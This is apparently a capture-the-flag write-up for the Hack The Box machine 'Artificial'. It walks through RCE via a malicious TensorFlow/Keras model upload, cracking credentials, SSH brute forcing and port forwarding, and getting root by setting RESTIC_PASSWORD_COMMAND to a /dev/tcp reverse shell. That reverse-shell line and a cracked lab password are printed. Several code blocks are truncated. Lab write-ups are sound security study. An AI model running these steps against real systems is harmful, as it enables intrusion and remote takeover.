# Artificial HTB - Writeup
This machine involved exploiting a **Remote Code Execution (RCE)** vulnerability by loading an untrusted TensorFlow model containing a malicious `Lambda` layer, which executed arbitrary Python code during model deserialization. This was followed by **post-exploitation backup analysis** to escalate privileges and gain root access via abuse of the `RESTIC_PASSWORD_COMMAND` environment variable.
---
# Port Scanning
Initial Nmap scan revealed:
PORT STATE SERVICE |
- Port **80** hosted a web application related to machine learning (ML).
- Port **22** open for SSH login (initially inaccessible).
---
# Reconnaissance & Enumeration
Navigating to port 80 revealed an AI/ML-powered platform using Keras/TensorFlow. Upload functionality hinted at dynamic model handling — potential for deserialization.
---
# Tersorflow Remote Code Execution with Malicious Model
# Exploitation
# 📌 Step 1: PoC & Payload Generation
Used the following PoC:
---
# 🐳 Step 2: Docker Setup
sudo systemctl start docker |
---
# Step 3: Upload & RCE
Uploaded exploit.h5 to the ML handler. Once processed, it executed the payload and opened a reverse shell.
✅ Shell obtained as user app.
---
# Post-Exploitation as `app`
- Spawned TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")' |
- Found sensitive files:
- `/home/app/instance/users.db`
- `/opt/backrest/...` SQLite files
Cracked credentials:
| User | Password |
|-----------------------|---------------------|
| gael@artificial.htb | mattp005numbertwo |
---
# SSH Access as `gael`
hydra -l gael -P passwords.txt ssh://artificial.htb |
---
# Internal Port Forwarding Discovery
gael@artificial:~$ netstat -tlun |
Port 9898 hosted a local web service (Backrest).
---
# SSH Port Forwarding
ssh -L 9898:127.0.0.1:9898 gael@artificial.htb |
Then visit:
http://localhost:9898 — Accessed Backrest UI.
---
# Backup Extraction → Root Credentials
gael@artificial:/var/backups$ ls -la |
# Extract Backup
mkdir /home/gael/backrest |
# 📁 Extracted Contents
backrest/ |
---
# Analyze Configuration
cat /home/gael/backrest/.config/backrest/config.json |
Found credentials:
{ |
---
# Cracking the Password
echo "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP" | base64 -d > hash |
✅ Cracked: !@#$%^
---
# 🔥 Remote Code Execution as `backrest_root`
# 🚨 Abusing `RESTIC_PASSWORD_COMMAND`
📚 Reference: Restic Docs
If `RESTIC_PASSWORD_COMMAND` is set, Restic **executes** it and uses the output as the password — perfect for RCE.
# Inject into Web Panel
RESTIC_PASSWORD_COMMAND=sh -c 'sh -i >& /dev/tcp/10.10.14.12/4444 0>&1' |
Start listener:
nc -lvnp 4444 |
✅ Reverse shell as backrest_root
---
# Rooted !
- Gained initial foothold via Tersorflow Malicious Model
- SSH login from cracked credentials
- Local backup analysis revealed root hash
- Exploited environment variable execution in Restic
---
# Key Takeaways
- AI/ML systems are vulnerable when insecurely deserializing models
- Backups often hold secrets and hashes
- Port forwarding is essential in local service exploitation
- `RESTIC_PASSWORD_COMMAND` provides a clean RCE path in misconfigured setups
---
Author: _Wael Rdifi_